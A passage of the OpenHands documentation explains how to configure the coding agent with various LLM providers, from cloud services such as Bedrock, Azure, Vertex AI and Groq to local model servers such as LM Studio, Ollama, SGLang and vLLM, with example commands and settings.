`boto3` problem. - -#### Access Denied Errors - -If you receive access denied errors: - -1. Verify your IAM credentials have the `bedrock:InvokeModel` permission -2. Check that the model is enabled in your AWS Bedrock console -3. Ensure you're using the correct AWS region where the model is available - -#### Model Not Found - -If the model is not found: - -1. Verify the model ID is correct (check AWS documentation) -2. Ensure the model is enabled in your Bedrock model access settings -3. Check that the model is available in your selected AWS region - -### Azure -Source: https://docs.openhands.dev/openhands/usage/llms/azure-llms.md - -## Azure OpenAI Configuration - -When running OpenHands, you'll need to set the following environment variable using `-e` in the -docker run command: - -``` -LLM_API_VERSION="" # e.g. "2023-05-15" -``` - -Example: -```bash -docker run -it --pull=always \ - -e LLM_API_VERSION="2023-05-15" - ... -``` - -Then in the OpenHands UI Settings under the `LLM` tab: - - -You will need your ChatGPT deployment name which can be found on the deployments page in Azure. This is referenced as -<deployment-name> below. - - -1. Enable `Advanced` options. -2. Set the following: - - `Custom Model` to azure/<deployment-name> - - `Base URL` to your Azure API Base URL (e.g. `https://example-endpoint.openai.azure.com`) - - `API Key` to your Azure API key - -### Azure OpenAI Configuration - -When running OpenHands, set the following environment variable using `-e` in the -docker run command: - -``` -LLM_API_VERSION="" # e.g. "2024-02-15-preview" -``` - -### Custom LLM Configurations -Source: https://docs.openhands.dev/openhands/usage/llms/custom-llm-configs.md - -## How It Works - -Named LLM configurations are defined in the `config.toml` file using sections that start with `llm.`. For example: - -```toml -# Default LLM configuration -[llm] -model = "gpt-4" -api_key = "your-api-key" -temperature = 0.0 - -# Custom LLM configuration for a cheaper model -[llm.gpt3] -model = "gpt-3.5-turbo" -api_key = "your-api-key" -temperature = 0.2 - -# Another custom configuration with different parameters -[llm.high-creativity] -model = "gpt-4" -api_key = "your-api-key" -temperature = 0.8 -top_p = 0.9 -``` - -Each named configuration inherits all settings from the default `[llm]` section and can override any of those settings. You can define as many custom configurations as needed. - -## Using Custom Configurations - -### With Agents - -You can specify which LLM configuration an agent should use by setting the `llm_config` parameter in the agent's configuration section: - -```toml -[agent.RepoExplorerAgent] -# Use the cheaper GPT-3 configuration for this agent -llm_config = 'gpt3' - -[agent.CodeWriterAgent] -# Use the high creativity configuration for this agent -llm_config = 'high-creativity' -``` - -### Configuration Options - -Each named LLM configuration supports all the same options as the default LLM configuration. These include: - -- Model selection (`model`) -- API configuration (`api_key`, `base_url`, etc.) -- Model parameters (`temperature`, `top_p`, etc.) -- Retry settings (`num_retries`, `retry_multiplier`, etc.) -- Token limits (`max_input_tokens`, `max_output_tokens`) -- And all other LLM configuration options - -For a complete list of available options, see the LLM Configuration section in the [Configuration Options](/openhands/usage/advanced/configuration-options) documentation. - -## Use Cases - -Custom LLM configurations are particularly useful in several scenarios: - -- **Cost Optimization**: Use cheaper models for tasks that don't require high-quality responses, like repository exploration or simple file operations. -- **Task-Specific Tuning**: Configure different temperature and top_p values for tasks that require different levels of creativity or determinism. -- **Different Providers**: Use different LLM providers or API endpoints for different tasks. -- **Testing and Development**: Easily switch between different model configurations during development and testing. - -## Example: Cost Optimization - -A practical example of using custom LLM configurations to optimize costs: - -```toml -# Default configuration using GPT-4 for high-quality responses -[llm] -model = "gpt-4" -api_key = "your-api-key" -temperature = 0.0 - -# Cheaper configuration for repository exploration -[llm.repo-explorer] -model = "gpt-3.5-turbo" -temperature = 0.2 - -# Configuration for code generation -[llm.code-gen] -model = "gpt-4" -temperature = 0.0 -max_output_tokens = 2000 - -[agent.RepoExplorerAgent] -llm_config = 'repo-explorer' - -[agent.CodeWriterAgent] -llm_config = 'code-gen' -``` - -In this example: -- Repository exploration uses a cheaper model since it mainly involves understanding and navigating code -- Code generation uses GPT-4 with a higher token limit for generating larger code blocks -- The default configuration remains available for other tasks - -# Custom Configurations with Reserved Names - -OpenHands can use custom LLM configurations named with reserved names, for specific use cases. If you specify the model and other settings under the reserved names, then OpenHands will load and them for a specific purpose. As of now, one such configuration is implemented: draft editor. - -## Draft Editor Configuration - -The `draft_editor` configuration is a group of settings you can provide, to specify the model to use for preliminary drafting of code edits, for any tasks that involve editing and refining code. You need to provide it under the section `[llm.draft_editor]`. - -For example, you can define in `config.toml` a draft editor like this: - -```toml -[llm.draft_editor] -model = "gpt-4" -temperature = 0.2 -top_p = 0.95 -presence_penalty = 0.0 -frequency_penalty = 0.0 -``` - -This configuration: -- Uses GPT-4 for high-quality edits and suggestions -- Sets a low temperature (0.2) to maintain consistency while allowing some flexibility -- Uses a high top_p value (0.95) to consider a wide range of token options -- Disables presence and frequency penalties to maintain focus on the specific edits needed - -Use this configuration when you want to let an LLM draft edits before making them. In general, it may be useful to: -- Review and suggest code improvements -- Refine existing content while maintaining its core meaning -- Make precise, focused changes to code or text - - -Custom LLM configurations are only available when using OpenHands in development mode, via `main.py` or `cli.py`. When running via `docker run`, please use the standard configuration options. - - -### Google Gemini/Vertex -Source: https://docs.openhands.dev/openhands/usage/llms/google-llms.md - -## Gemini - Google AI Studio Configuration - -When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: -- `LLM Provider` to `Gemini` -- `LLM Model` to the model you will be using. -If the model is not in the list, enable `Advanced` options, and enter it in `Custom Model` -(e.g. gemini/<model-name> like `gemini/gemini-2.0-flash`). -- `API Key` to your Gemini API key - -## VertexAI - Google Cloud Platform Configuration - -To use Vertex AI through Google Cloud Platform when running OpenHands, you'll need to set the following environment -variables using `-e` in the docker run command: - -``` -GOOGLE_APPLICATION_CREDENTIALS="" -VERTEXAI_PROJECT="" -VERTEXAI_LOCATION="" -``` - -Then set the following in the OpenHands UI through the Settings under the `LLM` tab: -- `LLM Provider` to `VertexAI` -- `LLM Model` to the model you will be using. -If the model is not in the list, enable `Advanced` options, and enter it in `Custom Model` -(e.g. vertex_ai/<model-name>). - -### Vertex AI Dependencies - -The `vertex_ai/*` models (including Gemini and Claude via Vertex AI) require the -`google-cloud-aiplatform` package, which is **not included by default** in the published -agent-server image. How you enable it depends on your deployment: - - -Unlike AWS Bedrock (whose `boto3` dependency is bundled by default), Vertex AI support is -opt-in. If you skip this step, you will see a ModuleNotFoundError: No module named -'vertexai' error when the agent tries to call a Vertex AI model. - - -#### Local / Non-Docker Install - -Install the `vertex` extra in your Python environment: - -```bash -pip install "openhands-sdk[vertex]" -# or, with uv (works in any Python environment): -uv pip install "openhands-sdk[vertex]" -``` - -#### Custom Agent-Server Image - -Build the image with the `ENABLE_VERTEX` build flag (the container build file is in the -[`software-agent-sdk` repo](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-agent-server/openhands/agent_server/docker/Dockerfile); -run from the repo root): - -```bash -docker build \ - --build-arg ENABLE_VERTEX=1 \ - -t my-agent-server:vertex \ - -f openhands-agent-server/openhands/agent_server/docker/Dockerfile \ - . -``` - -Then point OpenHands at your custom image via the `AGENT_SERVER_IMAGE_REPOSITORY` and -`AGENT_SERVER_IMAGE_TAG` environment variables (see the -[Custom Sandbox Guide](/openhands/usage/advanced/custom-sandbox-guide) for details). - -#### OpenHands Enterprise (Replicated / Kubernetes) - -The default OHE installer Vertex path routes LLM calls through a LiteLLM proxy — the -agent-server uses a `litellm_proxy/...` model, and the proxy makes the actual Vertex call. -So the agent-server image does **not** need Vertex enabled for the default path; `ENABLE_VERTEX=1` -is only relevant if you customize OHE to bypass the proxy and call `vertex_ai/*` directly from -the agent-server. - -### Claude via Vertex AI - -If you route Anthropic Claude through Google Vertex AI / Model Garden (rather than direct -Anthropic endpoints), use the `vertex_ai/` prefix with the Vertex-published model name, -which is date-stamped: - -- `Custom Model`: `vertex_ai/claude-sonnet-4-5@20250929` - -Use the exact model name shown in your Vertex AI Model Garden console. - - -For `vertex_ai/*` models, OpenHands still needs google-cloud-aiplatform -from the `vertex` extra above. In custom Claude via Vertex AI setups, if you encounter -ModuleNotFoundError: No module named 'anthropic', install the Anthropic SDK too: -pip install "anthropic[vertex]". - - -### Troubleshooting - -#### Vertex AI SDK Import Error - -If you encounter this error: -``` -litellm.BadRequestError: Vertex_aiException BadRequestError - vertexai import failed -please run `pip install -U "google-cloud-aiplatform>=1.38"`. -Got error: No module named 'vertexai' -``` - -This means the agent-server image does not include the Vertex AI SDK. Enable the `vertex` -extra as described in [Vertex AI Dependencies](#vertex-ai-dependencies) above. - -### Groq -Source: https://docs.openhands.dev/openhands/usage/llms/groq.md - -## Configuration - -When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: -- `LLM Provider` to `Groq` -- `LLM Model` to the model you will be using. [Visit here to see the list of -models that Groq hosts](https://console.groq.com/docs/models). If the model is not in the list, -enable `Advanced` options, and enter it in `Custom Model` (e.g. groq/<model-name> like `groq/llama3-70b-8192`). -- `API key` to your Groq API key. To find or create your Groq API Key, [see here](https://console.groq.com/keys). - -## Using Groq as an OpenAI-Compatible Endpoint - -The Groq endpoint for chat completion is [mostly OpenAI-compatible](https://console.groq.com/docs/openai). Therefore, you can access Groq models as you -would access any OpenAI-compatible endpoint. In the OpenHands UI through the Settings under the `LLM` tab: -1. Enable `Advanced` options -2. Set the following: - - `Custom Model` to the prefix `openai/` + the model you will be using (e.g. `openai/llama3-70b-8192`) - - `Base URL` to `https://api.groq.com/openai/v1` - - `API Key` to your Groq API key - -### LiteLLM Proxy -Source: https://docs.openhands.dev/openhands/usage/llms/litellm-proxy.md - -## Configuration - -To use LiteLLM proxy with OpenHands, you need to: - -1. Set up a LiteLLM proxy server (see [LiteLLM documentation](https://docs.litellm.ai/docs/proxy/quick_start)) -2. When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: - * Enable `Advanced` options - * `Custom Model` to the prefix `litellm_proxy/` + the model you will be using (e.g. `litellm_proxy/anthropic.claude-3-5-sonnet-20241022-v2:0`) - * `Base URL` to your LiteLLM proxy URL (e.g. `https://your-litellm-proxy.com`) - * `API Key` to your LiteLLM proxy API key - -## Supported Models - -The supported models depend on your LiteLLM proxy configuration. OpenHands supports any model that your LiteLLM proxy -is configured to handle. - -Refer to your LiteLLM proxy configuration for the list of available models and their names. - -### Overview -Source: https://docs.openhands.dev/openhands/usage/llms/llms.md - - -This section is for users who want to connect OpenHands to different LLMs. - - - -OpenHands now delegates all LLM orchestration to the Agent SDK. The guidance on this -page focuses on how the OpenHands interfaces surface those capabilities. When in doubt, refer to the SDK documentation -for the canonical list of supported parameters. - - -## Choose a Model Configuration Path - -Choose the path that matches the access you have: - -| I have | Start here | -|---|---| -| An API key from a model provider or OpenHands | [Configure a Model in Agent Canvas](/openhands/usage/agent-canvas/model-configuration) | -| A local model server such as Ollama, LM Studio, vLLM, or SGLang | [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) | -| A LiteLLM proxy | [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) | -| An OpenRouter API key | [Use OpenRouter with OpenHands](/openhands/usage/llms/openrouter) | -| Claude Code, Codex, or Gemini CLI credentials | [ACP Agents](/openhands/usage/agent-canvas/acp-agents) | - -For model-ID, endpoint, API-key, and recovery checks, use [Configure a Model](/openhands/usage/agent-canvas/model-configuration) before changing advanced settings. - -## Model Recommendations - -Model quality for coding agents changes quickly. These recommendations are based on current -[OpenHands Index](https://index.openhands.dev/home) results where available. The linked -[openhands-index-results repository](https://github.com/OpenHands/openhands-index-results) contains the full scores and -trajectories for each run. - -Use the strongest model you can afford for long-running or high-stakes tasks. Use lower-cost profiles for routine edits, -then switch back to a stronger model for planning, debugging, and review. - -### Best Cloud Models by Family - -| Family | Recommended Model | Model String | OpenHands Index Average | -|--------|-------------------|--------------|-------------------------| -| Claude | [claude-opus-4-8](https://github.com/OpenHands/openhands-index-results/tree/main/results/claude-opus-4-8) | Not yet listed | 71.9 | -| GPT | [GPT-5.5](https://github.com/OpenHands/openhands-index-results/tree/main/results/GPT-5.5) | `openai/gpt-5.5` | 65.9 | -| Gemini | [Gemini-3.5-Flash](https://github.com/OpenHands/openhands-index-results/tree/main/results/Gemini-3.5-Flash) | Not yet listed | 62.6 | - -### Strong Open / Open-Weight Models - -These open or open-weight models have good OpenHands Index scores or are recommended for local OpenHands setups: - -| Model | Suggested Model String | OpenHands Index Average | -|-------|------------------------|-------------------------| -| [GLM-5.1](https://github.com/OpenHands/openhands-index-results/tree/main/results/GLM-5.1) | `openrouter/z-ai/glm-5.1` | 58.2 | -| [MiniMax-M3](https://github.com/OpenHands/openhands-index-results/tree/main/results/MiniMax-M3) | `openrouter/minimax/minimax-m3` | 57.2 | -| [Kimi-K2.6](https://github.com/OpenHands/openhands-index-results/tree/main/results/Kimi-K2.6) | `openrouter/moonshotai/kimi-k2.6` | 57.1 | -| [GLM-5](https://github.com/OpenHands/openhands-index-results/tree/main/results/GLM-5) | `openrouter/z-ai/glm-5` | 49.4 | -| [Kimi-K2.5](https://github.com/OpenHands/openhands-index-results/tree/main/results/Kimi-K2.5) | `openrouter/moonshotai/kimi-k2.5` | 49.2 | - - -Hosted model strings can vary by provider and region. If a model string is not accepted, check the provider console and -the [LiteLLM provider list](https://docs.litellm.ai/docs/providers), then use the provider-specific model ID shown there. - - -If you have successfully run OpenHands with specific providers, we encourage you to open a PR to share your setup process -to help others using the same provider! - -For a full list of the providers and models available, please consult the -[litellm documentation](https://docs.litellm.ai/docs/providers). - - -OpenHands will issue many prompts to the LLM you configure. Most of these LLMs cost money, so be sure to set spending -limits and monitor usage. - - -### Local / Self-Hosted Models - -For local and self-hosted usage, start with -[Qwen3.6-35B-A3B](https://huggingface.co/Qwen/Qwen3.6-35B-A3B). See the -[local LLM guide](/openhands/usage/llms/local-llms) for LM Studio, Ollama, SGLang, and vLLM setup examples. - -### Known Issues - - -Open-weight and local models still vary widely in tool-use reliability. If you see long wait times, poor responses, or -errors about malformed JSON, try a stronger model, increase the context window, or switch to a frontier cloud model for -that task. - - -## LLM Configuration - -The following can be set in the OpenHands UI through the Settings. Each option is serialized into the -`LLM.load_from_env()` schema before being passed to the Agent SDK: - -- `LLM Provider` -- `LLM Model` -- `API Key` -- `Base URL` (through `Advanced` settings) - -There are some settings that may be necessary for certain providers that cannot be set directly through the UI. Set them -as environment variables (or add them to your `config.toml`) so the SDK picks them up during startup: - -- `LLM_API_VERSION` -- `LLM_EMBEDDING_MODEL` -- `LLM_EMBEDDING_DEPLOYMENT_NAME` -- `LLM_DROP_PARAMS` -- `LLM_DISABLE_VISION` -- `LLM_CACHING_PROMPT` - -## LLM Provider Guides - -We have a few guides for running OpenHands with specific model providers: - -- [AWS Bedrock](/openhands/usage/llms/aws-bedrock) -- [Azure](/openhands/usage/llms/azure-llms) -- [Google](/openhands/usage/llms/google-llms) -- [Groq](/openhands/usage/llms/groq) -- [Local LLMs with SGLang or vLLM](/openhands/usage/llms/local-llms) -- [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) -- [Moonshot AI](/openhands/usage/llms/moonshot) -- [OpenAI](/openhands/usage/llms/openai-llms) -- [OpenHands](/openhands/usage/llms/openhands-llms) -- [OpenRouter](/openhands/usage/llms/openrouter) - -These pages remain the authoritative provider references for both the Agent SDK -and the OpenHands interfaces. - -## Model Customization - -LLM providers have specific settings that can be customized to optimize their performance with OpenHands, such as: - -- **Custom Tokenizers**: For specialized models, you can add a suitable tokenizer. -- **Native Tool Calling**: Toggle native function/tool calling capabilities. - -For detailed information about model customization, see -[LLM Configuration Options](/openhands/usage/advanced/configuration-options#llm-configuration). - -### API retries and rate limits - -LLM providers typically have rate limits, sometimes very low, and may require retries. OpenHands will automatically -retry requests if it receives a Rate Limit Error (429 error code). - -You can customize these options as you need for the provider you're using. Check their documentation, and set the -following environment variables to control the number of retries and the time between retries: - -- `LLM_NUM_RETRIES` (Default of 4 times) -- `LLM_RETRY_MIN_WAIT` (Default of 5 seconds) -- `LLM_RETRY_MAX_WAIT` (Default of 30 seconds) -- `LLM_RETRY_MULTIPLIER` (Default of 2) - -If you are running OpenHands in development mode, you can also set these options in the `config.toml` file: - -```toml -[llm] -num_retries = 4 -retry_min_wait = 5 -retry_max_wait = 30 -retry_multiplier = 2 -``` - -### Run Local LLMs with OpenHands -Source: https://docs.openhands.dev/openhands/usage/llms/local-llms.md - -Use this guide when you want a local model, rather than a local Agent Canvas backend or local project files. Local LLMs can have limited functionality; use a capable model and GPU-backed server for the best experience. - -## Choose What You Mean by Local - -| If you want... | Start here | -|---|---| -| A model server on your computer or network | Continue with this guide. | -| Agent Canvas itself to run on your computer | [Install Agent Canvas](/openhands/usage/agent-canvas/setup) | -| A containerized Agent Canvas backend | [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) | -| The agent to work with local files | [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) | - -For the model ID, base URL, and recovery checks that connect a local server to Agent Canvas, see [Configure a Model](/openhands/usage/agent-canvas/model-configuration). - -## News - -- 2026/05/21: We now recommend [Qwen3.6-35B-A3B](https://huggingface.co/Qwen/Qwen3.6-35B-A3B) as the first local model to try with OpenHands. It is an open-weight MoE model built for agentic coding, supports a large context window, and is available through LM Studio, Ollama, vLLM, and SGLang. - -## Quickstart: Running OpenHands with a Local LLM using LM Studio - -This guide explains how to serve a local LLM using [LM Studio](https://lmstudio.ai/) and have OpenHands connect to it. - -We recommend: -- **LM Studio** as the local model server, which handles metadata downloads automatically and offers a simple, user-friendly interface for configuration. -- **Qwen3.6-35B-A3B** as the LLM for software development. This model is optimized for agentic coding and works well with tool-heavy workflows like OpenHands. - -### Hardware Requirements - -Running Qwen3.6-35B-A3B requires: -- A recent GPU with at least 24GB of VRAM for quantized variants, or multiple GPUs for full precision and larger context windows, or -- A Mac with Apple Silicon with at least 64GB of unified memory for quantized variants - -### 1. Install LM Studio - -Download and install the LM Studio desktop app from [lmstudio.ai](https://lmstudio.ai/). - -### 2. Download the Model - -1. Make sure to set the User Interface Complexity Level to "Power User", by clicking on the appropriate label at the bottom of the window. -2. Click the "Discover" button (Magnifying Glass icon) on the left navigation bar to open the Models download page. - -![image](./screenshots/01_lm_studio_open_model_hub.png) - -3. Search for **"Qwen3.6-35B-A3B"**, confirm you're downloading from the official Qwen publisher, then proceed to download. - -![image](./screenshots/02_lm_studio_download_devstral.png) - -4. Wait for the download to finish. - -### 3. Load the Model - -1. Click the "Developer" button (Console icon) on the left navigation bar to open the Developer Console. -2. Click the "Select a model to load" dropdown at the top of the application window. - -![image](./screenshots/03_lm_studio_open_load_model.png) - -3. Enable the "Manually choose model load parameters" switch. -4. Select **Qwen3.6-35B-A3B** from the model list. - -![image](./screenshots/04_lm_studio_setup_devstral_part_1.png) - -5. Enable the "Show advanced settings" switch at the bottom of the Model settings flyout to show all the available settings. -6. Set "Context Length" to at least 22000 (for lower VRAM systems) or 32768 (recommended for better performance) and enable Flash Attention. -7. Click "Load Model" to start loading the model. - -![image](./screenshots/05_lm_studio_setup_devstral_part_2.png) - -### 4. Start the LLM server - -1. Enable the switch next to "Status" at the top-left of the Window. -2. Take note of the Model API Identifier shown on the sidebar on the right. - -![image](./screenshots/06_lm_studio_start_server.png) - - -**Linux users:** By default, LM Studio only listens on `127.0.0.1` (localhost). If OpenHands runs inside a Docker container, it cannot reach `127.0.0.1` on the host — even with `--add-host host.docker.internal:host-gateway`. - -To fix this, enable **"Serve on Local Network"** in LM Studio's server settings. This switches the bind address to `0.0.0.0`, making the server reachable from Docker. - -You can verify connectivity from inside the container: -```bash -docker exec -it openhands-app curl -s http://host.docker.internal:1234/v1/models -``` -If this returns the model list, the connection is working. If it hangs or errors, LM Studio is still bound to localhost only. - - -### 5. Start OpenHands - -1. Check [the installation guide](/openhands/usage/run-openhands/local-setup) and ensure all prerequisites are met before running OpenHands, then run: - -```bash -docker run -it --rm --pull=always \ - -e AGENT_SERVER_IMAGE_REPOSITORY=ghcr.io/openhands/agent-server \ - -e AGENT_SERVER_IMAGE_TAG=1.26.0-python \ - -e LOG_ALL_EVENTS=true \ - -v /var/run/docker.sock:/var/run/docker.sock \ - -v ~/.openhands:/.openhands \ - -p 3000:3000 \ - --add-host host.docker.internal:host-gateway \ - --name openhands-app \ - docker.openhands.dev/openhands/openhands:1.8 -``` - -2. Wait until the server is running (see log below): -``` -Digest: sha256:e72f9baecb458aedb9afc2cd5bc935118d1868719e55d50da73190d3a85c674f -Status: Image is up to date for docker.openhands.dev/openhands/openhands:1.8 -Starting OpenHands... -Running OpenHands as root -14:22:13 - openhands:INFO: server_config.py:50 - Using config class None -INFO: Started server process [8] -INFO: Waiting for application startup. -INFO: Application startup complete. -INFO: Uvicorn running on http://0.0.0.0:3000 (Press CTRL+C to quit) -``` - -3. Visit `http://localhost:3000` in your browser. - -### 6. Configure OpenHands to use the LLM server - -Once you open OpenHands in your browser, you'll need to configure it to use the local LLM server you just started. - -When started for the first time, OpenHands will prompt you to set up the LLM provider. - -1. Click "see advanced settings" to open the LLM Settings page. - -![image](./screenshots/07_openhands_open_advanced_settings.png) - -2. Enable the "Advanced" switch at the top of the page to show all the available settings. - -3. Set the following values: - - **Custom Model**: `openai/qwen/qwen3.6-35b-a3b` (the Model API identifier from LM Studio, prefixed with "openai/") - - **Base URL**: `http://host.docker.internal:1234/v1` - - **API Key**: `local-llm` - -4. Click "Save Settings" to save the configuration. - -![image](./screenshots/08_openhands_configure_local_llm_parameters.png) - -That's it! You can now start using OpenHands with the local LLM server. - -If you encounter any issues, let us know on [Slack](https://openhands.dev/joinslack). - -## Community-Reported Notes and Troubleshooting - -If OpenHands behaves like a plain chatbot, refuses to use tools or files, or has constant failed tool calls with a local model, the issue may be with the model itself rather than your setup. Even with a large context window, some local models may struggle with reliable tool use. - -**Community-reported working models:** -- `qwen2.5-coder-14b-instruct` — reported to resolve chatbot-like behavior -- `qwopus3.5-27b-v3 Q8_0` (and similar retrained qwopus variants) — reported to work well with tool calls - -If you're experiencing issues, try switching to one of these models before assuming the setup is broken. - -## Advanced: Alternative LLM Backends - -This section describes how to run local LLMs with OpenHands using alternative backends like Ollama, Atomic Chat, SGLang, or vLLM — without relying on LM Studio. - -### Create an OpenAI-Compatible Endpoint with Ollama - -- Install Ollama following [the official documentation](https://ollama.com/download). -- Example launch command for Qwen3.6-35B-A3B: - -```bash -# ⚠️ WARNING: OpenHands requires a large context size to work properly. -# When using Ollama, set OLLAMA_CONTEXT_LENGTH to at least 22000. -# The default (4096) is way too small — not even the system prompt will fit, and the agent will not behave correctly. -OLLAMA_CONTEXT_LENGTH=32768 OLLAMA_HOST=0.0.0.0:11434 OLLAMA_KEEP_ALIVE=-1 nohup ollama serve & -ollama pull qwen3.6:35b-a3b -``` - -### Create an OpenAI-Compatible Endpoint with Atomic Chat - -[Atomic Chat](https://atomic.chat/) is an open-source desktop app for running local models (and optional cloud providers). It exposes a **single OpenAI-compatible HTTP API** on your machine, typically at `http://127.0.0.1:1337/v1`. See the upstream [README](https://github.com/AtomicBot-ai/Atomic-Chat/blob/main/README.md) for downloads, system requirements, and release notes. - -#### 1. Install and start Atomic Chat - -1. Download Atomic Chat from [atomic.chat](https://atomic.chat/) or [GitHub Releases](https://github.com/AtomicBot-ai/Atomic-Chat/releases). -2. Open Atomic Chat and **enable the local API server** in the app settings (defaults may vary by version; the API is usually served on **port 1337**). -3. **Download and load a coding-capable model** with a **large context window**. OpenHands needs enough context for the system prompt and tools — use at least **~22k tokens**, and **32k+** when your hardware allows (same guidance as LM Studio on this page). - - - Atomic Chat binds the local API to **loopback (`127.0.0.1`) by default**, so the OpenAI-compatible endpoint is not exposed on your LAN unless you explicitly change the server host and set an API key. For Docker on the host, use `host.docker.internal:1337/v1` as described below. - - -#### 2. Discover the model id OpenHands must use - -Atomic Chat lists served models via the OpenAI-compatible `GET /v1/models` endpoint. From the same machine: - -```bash -curl -s http://127.0.0.1:1337/v1/models | head -``` - -Use the `id` field of the model you have loaded as the suffix after `openai/` in OpenHands (see [Configure OpenHands (Alternative Backends)](#configure-openhands-alternative-backends) below). - -#### 3. Point OpenHands at Atomic Chat - -Follow [Run OpenHands (Alternative Backends)](#run-openhands-alternative-backends) and [Configure OpenHands (Alternative Backends)](#configure-openhands-alternative-backends) below. When OpenHands runs **inside Docker** and Atomic Chat runs on the **host**, use: - -- **Base URL**: `http://host.docker.internal:1337/v1` -- **Custom Model**: `openai/` (prefix required, same convention as LM Studio on this page) -- **API Key**: any placeholder string (for example `local-llm`) unless your Atomic Chat build requires a real key - -If OpenHands and Atomic Chat run on the **same host without Docker** for the web UI, you can use `http://127.0.0.1:1337/v1` instead. - -Atomic Chat also ships a **Launch → OpenHands** integration that can configure `LLM_BASE_URL`, `LLM_MODEL`, and `LLM_API_KEY` for the OpenHands CLI automatically. - -#### Troubleshooting - -- **Connection refused from Docker**: confirm Atomic Chat is running, the local server is enabled, and your `docker run` includes `--add-host host.docker.internal:host-gateway` as in [local setup](/openhands/usage/run-openhands/local-setup). -- **Wrong model errors**: the Custom Model string must match an `id` returned by `GET /v1/models` after the `openai/` prefix. -- **Agent ignores tools or acts like a chatbot**: try a stronger coding model or a larger context window; see [Community-Reported Notes and Troubleshooting](#community-reported-notes-and-troubleshooting) on this page. - -### Create an OpenAI-Compatible Endpoint with vLLM or SGLang - -First, download the model checkpoint: - -```bash -huggingface-cli download Qwen/Qwen3.6-35B-A3B --local-dir Qwen/Qwen3.6-35B-A3B -``` - -#### Serving the model using SGLang - -- Install SGLang following [the official documentation](https://docs.sglang.io/get_started/install.html). -- Example launch command (with at least 2 GPUs): - -```bash -SGLANG_ALLOW_OVERWRITE_LONGER_CONTEXT_LEN=1 python3 -m sglang.launch_server \ - --model Qwen/Qwen3.6-35B-A3B \ - --served-model-name Qwen3.6-35B-A3B \ - --port 8000 \ - --tp 2 --dp 1 \ - --host 0.0.0.0 \ - --api-key mykey --context-length 131072 -``` - -#### Serving the model using vLLM - -- Install vLLM following [the official documentation](https://docs.vllm.ai/en/latest/getting_started/installation.html). -- Example launch command (with at least 2 GPUs): - -```bash -vllm serve Qwen/Qwen3.6-35B-A3B \ - --host 0.0.0.0 --port 8000 \ - --api-key mykey \ - --tensor-parallel-size 2 \ - --served-model-name Qwen3.6-35B-A3B \ - --enable-prefix-caching -``` - -If you are interested in further improved inference speed, you can also try Snowflake's version -of vLLM, [ArcticInference](https://www.snowflake.com/en/engineering-blog/fast-speculative-decoding-vllm-arctic/), -which can achieve up to 2x speedup in some cases. - -1. Install the Arctic Inference library that automatically patches vLLM: - -```bash -pip install git+https://github.com/snowflakedb/ArcticInference.git -``` - -2. Run the launch command with speculative decoding enabled: - -```bash -vllm serve Qwen/Qwen3.6-35B-A3B \ - --host 0.0.0.0 --port 8000 \ - --api-key mykey \ - --tensor-parallel-size 2 \ - --served-model-name Qwen3.6-35B-A3B \ - --speculative-config '{"method": "suffix"}' -``` - -### Run OpenHands (Alternative Backends) - -#### Using Docker - -Run OpenHands using [the official docker run command](/openhands/usage/run-openhands/local-setup). - -#### Using Development Mode - -Use the instructions in [Development.md](https://github.com/OpenHands/OpenHands/blob/main/Development.md) to build OpenHands. - -Start OpenHands using `make run`. - -### Configure OpenHands (Alternative Backends) - -Once OpenHands is running, open the Settings page in the UI and go to the `LLM` tab. - -1. Click **"see advanced settings"** to access the full configuration panel. -2. Enable the **Advanced** toggle at the top of the page. -3. Set the following parameters, if you followed the examples above: - - **Custom Model**: `openai/` - - For **Ollama**: `openai/qwen3.6:35b-a3b` - - For **SGLang/vLLM**: `openai/Qwen3.6-35B-A3B` - - For **Atomic Chat**: `openai/` (see [Atomic Chat](#create-an-openai-compatible-endpoint-with-atomic-chat) above) - - **Base URL**: `http://host.docker.internal:/v1` - Use port `11434` for Ollama, `1337` for Atomic Chat (default), or `8000` for SGLang and vLLM. - - **API Key**: - - For **Ollama** or **Atomic Chat**: any placeholder value (e.g. `dummy`, `local-llm`) unless your server requires a real key - - For **SGLang** or **vLLM**: use the same key provided when starting the server (e.g. `mykey`) - -### Moonshot AI -Source: https://docs.openhands.dev/openhands/usage/llms/moonshot.md - -## Using Moonshot AI with OpenHands - -[Moonshot AI](https://platform.moonshot.ai/) offers several powerful models, including Kimi-K2, which has been verified to work well with OpenHands. - -### Setup - -1. Sign up for an account at [Moonshot AI Platform](https://platform.moonshot.ai/) -2. Generate an API key from your account settings -3. Configure OpenHands to use Moonshot AI: - -| Setting | Value | -| --- | --- | -| LLM Provider | `moonshot` | -| LLM Model | `kimi-k2-0711-preview` | -| API Key | Your Moonshot API key | - -### Recommended Models - -- `moonshot/kimi-k2-0711-preview` - Kimi-K2 is Moonshot's most powerful model with a 131K context window, function calling support, and web search capabilities. - -### OpenAI -Source: https://docs.openhands.dev/openhands/usage/llms/openai-llms.md - -## Configuration - -When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: -* `LLM Provider` to `OpenAI` -* `LLM Model` to the model you will be using. -[Visit here to see a full list of OpenAI models that LiteLLM supports.](https://docs.litellm.ai/docs/providers/openai#openai-chat-completion-models) -If the model is not in the list, enable `Advanced` options, and enter it in `Custom Model` (e.g. openai/<model-name> like `openai/gpt-4o`). -* `API Key` to your OpenAI API key. To find or create your OpenAI Project API Key, [see here](https://platform.openai.com/api-keys). - -## Using OpenAI-Compatible Endpoints - -Just as for OpenAI Chat completions, we use LiteLLM for OpenAI-compatible endpoints. You can find their full documentation on this topic [here](https://docs.litellm.ai/docs/providers/openai_compatible). - -## Using an OpenAI Proxy - -If you're using an OpenAI proxy, in the OpenHands UI through the Settings under the `LLM` tab: -1. Enable `Advanced` options -2. Set the following: - - `Custom Model` to openai/<model-name> (e.g. `openai/gpt-4o` or openai/<proxy-prefix>/<model-name>) - - `Base URL` to the URL of your OpenAI proxy - - `API Key` to your OpenAI API key - -### OpenHands -Source: https://docs.openhands.dev/openhands/usage/llms/openhands-llms.md - -## Obtain Your OpenHands LLM API Key - -1. [Log in to OpenHands 